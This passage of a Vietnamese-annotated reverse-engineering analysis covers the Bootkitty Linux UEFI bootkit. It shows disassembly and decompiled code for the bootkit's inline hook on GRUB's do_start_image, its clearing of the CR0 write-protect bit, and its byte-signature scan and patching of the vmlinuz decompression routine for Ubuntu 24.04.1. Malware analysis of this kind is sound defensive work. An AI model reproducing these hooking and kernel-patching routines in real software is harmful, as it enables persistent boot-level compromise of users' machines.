  if ( (cr0_value_3 & 0x10000) != 0 )
    writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
  check_flags_2 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instruction_ptr < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_out_5 = gST->ConOut;
      if ( console_out_5 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_5->OutputString)(console_out_5, buffer_2);
    }
    check_flags_2 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_out_6 = gST->ConOut;
      if ( console_out_6 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_6->OutputString)(console_out_6, buffer);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( next_instruction_ptr != target_address )
    memmove_1800064F0(next_instruction_ptr, target_address, 8ui64);
  if ( cr0_wp_enabled )
  {
    cr0_value_4 = _readcr0_();
    writecr0_180001010(cr0_value_4 | 0x10000);
  }
  gBS->RestoreTPL(saved_tpl);                         // gBS->RestoreTPL()
                                                // VOID(EFIAPI * EFI_RESTORE_TPL) (IN EFI_TPL OldTpl)
                                                // OldTpl   Mức độ ưu tiên tác vụ trước đó cần khôi phục.
  return 0i64;
}

do_start_image (hàm mục tiêu)

Mã assembly

.text:0000000000000286                               do_start_image_286 proc near            ; CODE XREF: sub_46E+4D↓p
.text:0000000000000286                                                                       ; DATA XREF: sub_46E:loc_4B1↓o
.text:0000000000000286 F3 0F 1E FA                                   endbr64
.text:000000000000028A 55                                            push    rbp
.text:000000000000028B 48 89 E5                                      mov     rbp, rsp
.text:000000000000028E 41 57                                         push    r15
.text:0000000000000290 41 56                                         push    r14
.text:0000000000000292 41 55                                         push    r13
.text:0000000000000294 41 54                                         push    r12
.text:0000000000000296 53                                            push    rbx
.text:0000000000000297 57                                            push    rdi
.text:0000000000000298 48 A1 D0 10 00 00 00 00 00 00                 mov     rax, ds:grub_efi_image_handle
.text:00000000000002A2 48 A3 80 10 00 00 00 00 00 00                 mov     ds:qword_1080, rax
.text:00000000000002AC 48 89 C7                                      mov     rdi, rax
.text:00000000000002AF 48 B8 C0 10 00 00 00 00 00 00                 mov     rax, offset grub_efi_get_loaded_image
.text:00000000000002B9 FF D0                                         call    rax ; grub_efi_get_loaded_image
.text:00000000000002BB 48 85 C0                                      test    rax, rax
.text:00000000000002BE 74 48                                         jz      short loc_308
.text:00000000000002C0 48 BA C0 0F 00 00 00 00 00 00                 mov     rdx, offset unk_FC0
.text:00000000000002CA 48 8B 4A 58                                   mov     rcx, [rdx+58h]
.text:00000000000002CE 8B 72 3C                                      mov     esi, [rdx+3Ch]
.text:00000000000002D1 48 8B 52 10                                   mov     rdx, [rdx+10h]
.text:00000000000002D5 48 89 48 40                                   mov     [rax+40h], rcx
.text:00000000000002D9 48 89 70 48                                   mov     [rax+48h], rsi
.text:00000000000002DD 48 85 D2                                      test    rdx, rdx
.text:00000000000002E0 75 15                                         jnz     short loc_2F7
.text:00000000000002E2
.text:00000000000002E2                               loc_2E2:                                ; CODE XREF: do_start_image_286+6C↓j
.text:00000000000002E2 31 F6                                         xor     esi, esi
.text:00000000000002E4 48 89 70 20                                   mov     [rax+20h], rsi
.text:00000000000002E8 EB 50                                         jmp     short loc_33A
.text:00000000000002EA                               ; ---------------------------------------------------------------------------
.text:00000000000002EA
.text:00000000000002EA                               loc_2EA:                                ; CODE XREF: do_start_image_286+74↓j
.text:00000000000002EA                                                                       ; do_start_image_286+7A↓j
.text:00000000000002EA 0F B7 4A 02                                   movzx   ecx, word ptr [rdx+2]
.text:00000000000002EE 66 83 F9 03                                   cmp     cx, 3
.text:00000000000002F2 76 EE                                         jbe     short loc_2E2
.text:00000000000002F4 48 01 CA                                      add     rdx, rcx
.text:00000000000002F7
.text:00000000000002F7                               loc_2F7:                                ; CODE XREF: do_start_image_286+5A↑j
.text:00000000000002F7 80 3A 04                                      cmp     byte ptr [rdx], 4
.text:00000000000002FA 75 EE                                         jnz     short loc_2EA
.text:00000000000002FC 80 7A 01 04                                   cmp     byte ptr [rdx+1], 4
.text:0000000000000300 75 E8                                         jnz     short loc_2EA
.text:0000000000000302 48 89 50 20                                   mov     [rax+20h], rdx
.text:0000000000000306 EB 32                                         jmp     short loc_33A
.text:0000000000000308                               ; ---------------------------------------------------------------------------
.text:0000000000000308
.text:0000000000000308                               loc_308:                                ; CODE XREF: do_start_image_286+38↑j
.text:0000000000000308 48 B9 E7 0D 00 00 00 00 00 00                 mov     rcx, offset aLoadedImagePro ; "Loaded image protocol missing\n"
.text:0000000000000312 BE C0 02 00 00                                mov     esi, 2C0h
.text:0000000000000317 31 C0                                         xor     eax, eax
.text:0000000000000319 48 BA 9C 0D 00 00 00 00 00 00                 mov     rdx, offset aLinux ; "linux"
.text:0000000000000323 48 BF A2 0D 00 00 00 00 00 00                 mov     rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:000000000000032D 49 B8 E0 10 00 00 00 00 00 00                 mov     r8, offset grub_real_dprintf
.text:0000000000000337 41 FF D0                                      call    r8 ; grub_real_dprintf
.text:000000000000033A
.text:000000000000033A                               loc_33A:                                ; CODE XREF: do_start_image_286+62↑j
.text:000000000000033A                                                                       ; do_start_image_286+80↑j
.text:000000000000033A 48 BF 40 10 00 00 00 00 00 00                 mov     rdi, offset unk_1040
.text:0000000000000344 48 B8 30 11 00 00 00 00 00 00                 mov     rax, offset grub_setjmp
.text:000000000000034E FF D0                                         call    rax ; grub_setjmp
.text:0000000000000350 F3 0F 1E FA                                   endbr64
.text:0000000000000354 85 C0                                         test    eax, eax
.text:0000000000000356 74 31                                         jz      short loc_389
.text:0000000000000358 48 BB 40 10 00 00 00 00 00 00                 mov     rbx, offset unk_1040
.text:0000000000000362 48 83 EC 20                                   sub     rsp, 20h
.text:0000000000000366 48 B8 3E 00 00 00 00 00 00 00                 mov     rax, offset sub_3E
.text:0000000000000370 48 8B 4B 40                                   mov     rcx, [rbx+40h]
.text:0000000000000374 FF D0                                         call    rax ; sub_3E
.text:0000000000000376 31 C9                                         xor     ecx, ecx
.text:0000000000000378 48 8B 43 48                                   mov     rax, [rbx+48h]
.text:000000000000037C 48 83 C4 20                                   add     rsp, 20h
.text:0000000000000380 48 89 4B 40                                   mov     [rbx+40h], rcx
.text:0000000000000384 E9 D6 00 00 00                                jmp     loc_45F
.text:0000000000000389                               ; ---------------------------------------------------------------------------
.text:0000000000000389
.text:0000000000000389                               loc_389:                                ; CODE XREF: do_start_image_286+D0↑j
.text:0000000000000389 49 BE A8 10 00 00 00 00 00 00                 mov     r14, offset grub_efi_system_table
.text:0000000000000393 BE CE 02 00 00                                mov     esi, 2CEh
.text:0000000000000398 48 BB C0 0F 00 00 00 00 00 00                 mov     rbx, offset unk_FC0
.text:00000000000003A2 49 BC 40 10 00 00 00 00 00 00                 mov     r12, offset unk_1040
.text:00000000000003AC 49 BD F2 00 00 00 00 00 00 00                 mov     r13, offset sub_F2
.text:00000000000003B6 49 8B 06                                      mov     rax, [r14]
.text:00000000000003B9 48 BF A2 0D 00 00 00 00 00 00                 mov     rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:00000000000003C3 48 B9 06 0E 00 00 00 00 00 00                 mov     rcx, offset aExecutingImage ; "Executing image loaded at 0x%lx\nEntry "...
.text:00000000000003CD 49 BF E0 10 00 00 00 00 00 00                 mov     r15, offset grub_real_dprintf
.text:00000000000003D7 48 8B 40 60                                   mov     rax, [rax+60h]
.text:00000000000003DB 48 8B 90 D8 00 00 00                          mov     rdx, [rax+0D8h]
.text:00000000000003E2 4C 89 A8 D8 00 00 00                          mov     [rax+0D8h], r13
.text:00000000000003E9 49 89 54 24 50                                mov     [r12+50h], rdx
.text:00000000000003EE 48 BA 9C 0D 00 00 00 00 00 00                 mov     rdx, offset aLinux ; "linux"
.text:00000000000003F8 50                                            push    rax
.text:00000000000003F9 8B 43 3C                                      mov     eax, [rbx+3Ch]
.text:00000000000003FC 4C 8B 4B 60                                   mov     r9, [rbx+60h]
.text:0000000000000400 4C 8B 43 58                                   mov     r8, [rbx+58h]
.text:0000000000000404 50                                            push    rax
.text:0000000000000405 31 C0                                         xor     eax, eax
.text:0000000000000407 41 FF D7                                      call    r15 ; grub_real_dprintf
.text:000000000000040A 52                                            push    rdx
.text:000000000000040B 52                                            push    rdx
.text:000000000000040C 49 8B 4C 24 40                                mov     rcx, [r12+40h]
.text:0000000000000411 49 8B 16                                      mov     rdx, [r14]
.text:0000000000000414 FF 53 60                                      call    qword ptr [rbx+60h]
.text:0000000000000417 BE D9 02 00 00                                mov     esi, 2D9h
.text:000000000000041C 48 B9 45 0E 00 00 00 00 00 00                 mov     rcx, offset aApplicationRet ; "Application returned\n"
.text:0000000000000426 48 BA 9C 0D 00 00 00 00 00 00                 mov     rdx, offset aLinux ; "linux"
.text:0000000000000430 48 83 C4 20                                   add     rsp, 20h
.text:0000000000000434 48 89 C3                                      mov     rbx, rax
.text:0000000000000437 31 C0                                         xor     eax, eax
.text:0000000000000439 48 BF A2 0D 00 00 00 00 00 00                 mov     rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:0000000000000443 41 FF D7                                      call    r15 ; grub_real_dprintf
.text:0000000000000446 48 83 EC 20                                   sub     rsp, 20h
.text:000000000000044A 49 8B 4C 24 40                                mov     rcx, [r12+40h]
.text:000000000000044F 45 31 C9                                      xor     r9d, r9d
.text:0000000000000452 45 31 C0                                      xor     r8d, r8d
.text:0000000000000455 48 89 DA                                      mov     rdx, rbx
.text:0000000000000458 41 FF D5                                      call    r13 ; sub_F2
.text:000000000000045B 48 83 C4 20                                   add     rsp, 20h
.text:000000000000045F
.text:000000000000045F                               loc_45F:                                ; CODE XREF: do_start_image_286+FE↑j
.text:000000000000045F 48 8D 65 D8                                   lea     rsp, [rbp-28h]
.text:0000000000000463 5B                                            pop     rbx
.text:0000000000000464 41 5C                                         pop     r12
.text:0000000000000466 41 5D                                         pop     r13
.text:0000000000000468 41 5E                                         pop     r14
.text:000000000000046A 41 5F                                         pop     r15
.text:000000000000046C 5D                                            pop     rbp
.text:000000000000046D C3                                            retn
.text:000000000000046D                               do_start_image_286 endp

Phiên dịch ngược

__int64 do_start_image_286()
{
  _QWORD *loaded_image; // rax
  __int64 v1; // rsi
  __int64 v2; // rdx
  __int64 v3; // rcx
  __int64 v4; // rdx
  __int64 result; // rax
  __int64 v6; // rax
  __int64 v7; // rdx
  __int64 v8; // rbx

  __endbr64();
  qword_1080 = grub_efi_image_handle;
  loaded_image = (_QWORD *)grub_efi_get_loaded_image(grub_efi_image_handle);
  if ( loaded_image )
  {
    v1 = *((unsigned int *)&unk_FC0 + 0xF);
    v2 = *((_QWORD *)&unk_FC0 + 2);
    loaded_image[8] = *((_QWORD *)&unk_FC0 + 0xB);
    loaded_image[9] = v1;
    if ( v2 )
    {
      while ( *(_BYTE *)v2 != 4 || *(_BYTE *)(v2 + 1) != 4 )
      {
        v3 = *(unsigned __int16 *)(v2 + 2);
        if ( (unsigned __int16)v3 <= 3u )
          goto LABEL_3;
        v2 += v3;
      }
      loaded_image[4] = v2;
    }
    else
    {
LABEL_3:
      v1 = 0LL;
      loaded_image[4] = 0LL;
    }
  }
  else
  {
    v1 = 0x2C0LL;
    grub_real_dprintf("loader/efi/peimage.c", 0x2C0LL, "linux", "Loaded image protocol missing\n");
  }
  __endbr64();
  if ( (unsigned int)grub_setjmp(&unk_1040) )
  {
    sub_3E(&unk_1040, v1, v4, *((_QWORD *)&unk_1040 + 8));
    result = *((_QWORD *)&unk_1040 + 9);
    *((_QWORD *)&unk_1040 + 8) = 0LL;
  }
  else
  {
    v6 = *(_QWORD *)(grub_efi_system_table + 0x60LL);
    v7 = *(_QWORD *)(v6 + 0xD8);
    *(_QWORD *)(v6 + 0xD8) = sub_F2;
    *((_QWORD *)&unk_1040 + 0xA) = v7;
    grub_real_dprintf(
      "loader/efi/peimage.c",
      0x2CELL,
      "linux",
      "Executing image loaded at 0x%lx\nEntry point 0x%lx\nSize 0x%08x\n",
      *((_QWORD *)&unk_FC0 + 0xB),
      *((_QWORD *)&unk_FC0 + 0xC),
      *((unsigned int *)&unk_FC0 + 0xF));
    v8 = (*((__int64 (__fastcall **)(const char *, __int64, _QWORD, _QWORD))&unk_FC0 + 0xC))(
           "loader/efi/peimage.c",
           0x2CELL,
           grub_efi_system_table,
           *((_QWORD *)&unk_1040 + 8));
    grub_real_dprintf("loader/efi/peimage.c", 0x2D9LL, "linux", "Application returned\n");
    return sub_F2("loader/efi/peimage.c", 0x2D9LL, v8, *((_QWORD *)&unk_1040 + 8), 0LL, 0LL);
  }
  return result;
}

Mã nguồn gốc

static grub_efi_status_t __grub_efi_api
do_start_image (grub_efi_handle_t image_handle,
		grub_efi_uintn_t *exit_data_size __attribute__ ((unused)),
		grub_efi_char16_t **exit_data __attribute__ ((unused)))
{
  grub_efi_status_t status;
  struct image_info *info;

  info = grub_efi_open_protocol (image_handle,
				 &(grub_guid_t)GRUB_PEIMAGE_MARKER_GUID,
				 GRUB_EFI_OPEN_PROTOCOL_GET_PROTOCOL);
  if (!info)
    {
      grub_error (GRUB_ERR_BAD_OS, "image not loaded");
      return GRUB_EFI_LOAD_ERROR;
    }

  if (grub_setjmp (info->jmp))
    {
      status = info->exit_status;
      do_unload_image (image_handle);
    }
  else
    {
      grub_dprintf ("linux",
		    "Executing image loaded at 0x%lx\n"
		    "Entry point 0x%lx\n"
		    "Size 0x%lx\n",
		    (unsigned long)info->loaded_image.image_base,
		    (unsigned long)info->entry_point,
		    (unsigned long)info->loaded_image.image_size);

      /* Invalidate the instruction cache */
      grub_arch_sync_caches (info->loaded_image.image_base,
			     info->loaded_image.image_size);

      status = info->entry_point (image_handle, grub_efi_system_table);

      grub_dprintf ("linux", "Application returned\n");

      /* converge to the same exit path as if the image called
       * boot_services->exit itself */
      exit_hook (image_handle, status, 0, NULL);

      /* image_handle is always valid above, thus exit_hook cannot
       * return to here. if only GRUB had assert :(
      grub_assert (false && "entered unreachable code");
      */
    }

  return status;
}

hook_grub_f1__do_start_image_18000DE20 (hàm hook cho do_start_image)

Khi do_start_image được gọi và thực thi đến đoạn:

// mods:0000000000110A5C 49 8B 4C 24 40 mov rcx, [r12+40h] // mods:0000000000110A61 49 8B 16 mov rdx, [r14]

inlinehook chuyển thành mov rax,xxx_hook_func; jmp rax

Chuyển hướng đến hook_grub_f1__do_start_image_18000DE20, nhận được địa chỉ cơ sở và kích thước của vmlinuz, sau đó tiến hành hook kernel (hook_and_patch_kernel_18000F5C0)

//     RDI, RSI, RDX, RCX, R8, R9
__int64 __usercall hook_grub_f1__do_start_image_18000DE20@<rax>(
        __int64 image_handle@<rdi>,
        __int64 param_2@<rsi>,
        __int64 param_3@<rdx>)
{
  double float_param; // xmm3_8
  char *function_ptr; // rcx
  void *base_addr; // rdi
  void *param_2_copy; // rdx
  void *param_3_copy; // r8
  void *param_4_copy; // r9
  int size_param; // ebx
  void *param_2_copy_2; // rdx
  void *param_3_copy_2; // r8
  void *param_4_copy_2; // r9
  __int64 param_5_copy; // r8

  // .text:000000000000040C 49 8B 4C 24 40                                mov     rcx, [r12+40h]
  // .text:0000000000000411 49 8B 16                                      mov     rdx, [r14]
  // .text:0000000000000414 FF 53 60                                      call    qword ptr [rbx+60h]
  function_ptr = original_grub_f1_180018268;
  *(_QWORD *)original_grub_f1_180018268 = *(_QWORD *)backup_original_grub_f1_180018280;
  function_ptr[8] = backup_original_grub_f1_180018280[8];
  function_ptr[9] = backup_original_grub_f1_180018280[9];
  function_ptr[0xA] = backup_original_grub_f1_180018280[0xA];
  function_ptr[0xB] = backup_original_grub_f1_180018280[0xB];
  // mov     rax, [rbx+58h]
  //   struct image_info *info;  image_info+0x58

  // info->loaded_image.image_base  
  base_addr = (void *)(int)extract_image_base_18000C885();
  debug_log_18000DF00(base_addr, (void *)param_2, param_2_copy, "", param_3_copy, param_4_copy);
  // rbx+8
  // struct grub_efi_loaded_image
  // {
  //   grub_efi_uint32_t revision;
  //   grub_efi_handle_t parent_handle;
  // ···
  // }
  //   //grub_efi_loaded_image.parent_handle
  size_param = extract_image_size_18000C880();
  debug_log_18000DF00(base_addr, (void *)param_2, param_2_copy_2, "", param_3_copy_2, param_4_copy_2);
  hook_and_patch_kernel_18000F5C0((char *)base_addr, size_param, param_5_copy, float_param);
  return ((__int64 (*)(void))original_grub_f1_180018268)();//thực thi logic gốc
}

hook_and_patch_kernel_18000F5C0 (cài đặt hook cho vmlinuz)

Trong hàm hook của do_start_image, lấy được địa chỉ cơ sở của vmlinuz, sau đó cài đặt hook cho vmlinuz

Mẫu nhị phân mục tiêu

F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF

Xác định vị trí hàm _??decompress_E26CB0 địa chỉ tương ứng với vmlinuz của ubuntu-24.04.1-desktop-amd64

Hook vmlinuz

unsigned __int64 __fastcall hook_and_patch_kernel_18000F5C0(char *image_base, int x_size, __int64 param_3, double param_4)
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]

  working_ptr = image_base;
  if ( !image_base )
    return 0x8000000000000002ui64;
  boundary_ptr = &image_base[x_size - 0x3B];
  if ( image_base >= boundary_ptr )
    return 0x800000000000000Eui64;
  // F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF

  // .text:0000000000E26CB0                               sub_E26CB0      proc near               ; CODE XREF: sub_E28420+2B6↓p
  // .text:0000000000E26CB0
  // .text:0000000000E26CB0                               var_28          = qword ptr -28h
  // .text:0000000000E26CB0                               var_20          = qword ptr -20h
  // .text:0000000000E26CB0                               var_18          = qword ptr -18h
  // .text:0000000000E26CB0                               var_10          = qword ptr -10h
  // .text:0000000000E26CB0
  // .text:0000000000E26CB0 F3 0F 1E FA                                   endbr64
  // .text:0000000000E26CB4 53                                            push    rbx
  // .text:0000000000E26CB5 48 89 FB                                      mov     rbx, rdi
  // .text:0000000000E26CB8 48 83 EC 20                                   sub     rsp, 20h
  // .text:0000000000E26CBC 8B 87 F0 75 00 00                             mov     eax, [rdi+75F0h]
  // .text:0000000000E26CC2 83 F8 FF                                      cmp     eax, 0FFFFFFFFh
  // .text:0000000000E26CC5 74 6B                                         jz      short loc_E26D32
  // .text:0000000000E26CC7 83 F8 01                                      cmp     eax, 1
  // .text:0000000000E26CCA 74 5C                                         jz      short loc_E26D28
  // .text:0000000000E26CCC 48 8B BF D8 75 00 00                          mov     rdi, [rdi+75D8h]
  // .text:0000000000E26CD3 4C 89 44 24 18                                mov     [rsp+28h+var_10], r8
  // .text:0000000000E26CD8 48 89 4C 24 10                                mov     [rsp+28h+var_18], rcx
  // .text:0000000000E26CDD 48 89 54 24 08                                mov     [rsp+28h+var_20], rdx
  // .text:0000000000E26CE2 48 89 34 24                                   mov     [rsp+28h+var_28], rsi
  // .text:0000000000E26CE6 E8 95 A6 FF FF                                call    sub_E21380
  // .text:0000000000E26CEB 31 C0                                         xor     eax, eax
  // .text:0000000000E26CED 48 8B 34 24                                   mov     rsi, [rsp+28h+var_28]
  // .text:0000000000E26CF1 48 8B 54 24 08                                mov     rdx, [rsp+28h+var_20]
  // .text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00                 mov     qword ptr [rbx+75D8h], 0
  // .text:0000000000E26CF6 00
  // .text:0000000000E26D01 48 8B 4C 24 10                                mov     rcx, [rsp+28h+var_18]
  // .text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00                 mov     qword ptr [rbx+75E0h], 0
  // .text:0000000000E26D06 00
  // .text:0000000000E26D11 4C 8B 44 24 18                                mov     r8, [rsp+28h+var_10]
  // .text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00                 mov     dword ptr [rbx+75F0h], 0
  // .text:0000000000E26D20 EB 17                                         jmp     short loc_E26D39
  // .text:0000000000E26D20                               ; ---------------------------------------------------------------------------
  // .text:0000000000E26D22 66 0F 1F 44 00 00                             align 8
  // .text:0000000000E26D28
  // .text:0000000000E26D28                               loc_E26D28:                             ; CODE XREF: sub_E26CB0+1A↑j
  // .text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00                 mov     dword ptr [rdi+75F0h], 0
  // .text:0000000000E26D32
  // .text:0000000000E26D32                               loc_E26D32:                             ; CODE XREF: sub_E26CB0+15↑j
  // .text:0000000000E26D32 48 8B 83 E0 75 00 00                          mov     rax, [rbx+75E0h]
  // .text:0000000000E26D39
  // .text:0000000000E26D39                               loc_E26D39:                             ; CODE XREF: sub_E26CB0+70↑j
  // .text:0000000000E26D39 50                                            push    rax
  // .text:0000000000E26D3A 48 89 DF                                      mov     rdi, rbx
  // .text:0000000000E26D3D 45 31 C9                                      xor     r9d, r9d
  // .text:0000000000E26D40 6A 00                                         push    0
  // .text:0000000000E26D42 E8 A9 F9 FF FF                                call    sub_E266F0


  // .text:0000000000E26D47 48 83 C4 30                                   add     rsp, 30h
  // .text:0000000000E26D4B 5B                                            pop     rbx
  // .text:0000000000E26D4C C3                                            retn
  for ( pattern_offset = pattern_1800124A0 - image_base; ; --pattern_offset )
  {
    match_count = 0;
    temp_ptr = working_ptr;
    do
    {
      current_byte = temp_ptr[pattern_offset];
      if ( current_byte != (char)0xCC && *temp_ptr != current_byte )
        break;
      ++match_count;
      ++temp_ptr;
    }
    while ( match_count < 0x3B );
    if ( match_count == 0x3B )
      break;
    if ( ++working_ptr >= boundary_ptr )
      return 0x800000000000000Eui64;
  }
  local_flags = flags_180018176;
  original_func_180018258 = working_ptr;
  *(_QWORD *)target_address = hook_vmlinuz_decompress_18000DC80;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)back_original_func_180018290 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      param_4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output = gST->ConOut;
      if ( console_output )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer);
    }
    local_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (local_flags & 1) != 0 && ~(unsigned __int64)working_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      param_4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_2 = gST->ConOut;
      if ( console_output_2 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(console_output_2, buffer_2);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( back_original_func_180018290 != working_ptr )
    memmove_1800064F0(back_original_func_180018290, working_ptr, 0xCui64);
  func_ptr = original_func_180018258;
  cr0_value = _readcr0_();
  wp_bit_enabled = BYTE2(cr0_value) & 1;
  if ( (cr0_value & 0x10000) != 0 )
    writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
  check_flags = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)func_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_3,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      param_4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output_3 = gST->ConOut;
      if ( console_output_3 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(console_output_3, buffer_3);
    }
    check_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_4,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      param_4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_4 = gST->ConOut;
      if ( console_output_4 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(console_output_4, buffer_4);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( func_ptr != jmp_rax_trampoline_180012520 )
    memmove_1800064F0(func_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( wp_bit_enabled )
  {
    cr0_value_2 = _readcr0_();
    writecr0_180001010(cr0_value_2 | 0x10000);
  }
  next_instr_ptr = original_func_180018258 + 2;
  cr0_value_3 = _readcr0_();
  wp_enabled = BYTE2(cr0_value_3) & 1;
  if ( (cr0_value_3 & 0x10000) != 0 )
    writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
  check_flags_2 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instr_ptr < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      param_4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output_5 = gST->ConOut;
      if ( console_output_5 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(console_output_5, buffer_2);
    }
    check_flags_2 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      param_4,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_6 = gST->ConOut;
      if ( console_output_6 )
